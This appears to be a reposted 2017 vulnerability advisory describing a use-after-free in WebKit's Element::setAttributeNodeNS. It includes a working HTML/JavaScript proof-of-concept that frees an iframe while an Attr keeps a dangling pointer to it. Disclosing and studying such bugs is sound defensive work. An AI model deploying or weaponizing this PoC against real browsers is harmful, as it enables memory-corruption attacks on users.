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WebKit Element::setAttributeNodeNS Use-After-Free

Posted on 01 June 2017

WebKit: Element::setAttributeNodeNS UAF

Here's a snippet of Element::setAttributeNodeNS.

ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
...
setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);

attrNode.attachToElement(*this);
treeScope().adoptIfNeeded(attrNode);
ensureAttrNodeListForElement(*this).append(&attrNode);

return WTFMove(oldAttrNode);
}

|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.

PoC:
<body>
<script>

function gc() {
for (let i = 0; i < 0x40; i++) {
new ArrayBuffer(0x1000000);
}
}

window.callback = () => {
window.callback = null;

d.setAttributeNodeNS(src);
f.setAttributeNodeNS(document.createAttribute('src'));
};

let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';

let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;

gc();

alert(d.attributes[0].ownerElement);

</script>
</body>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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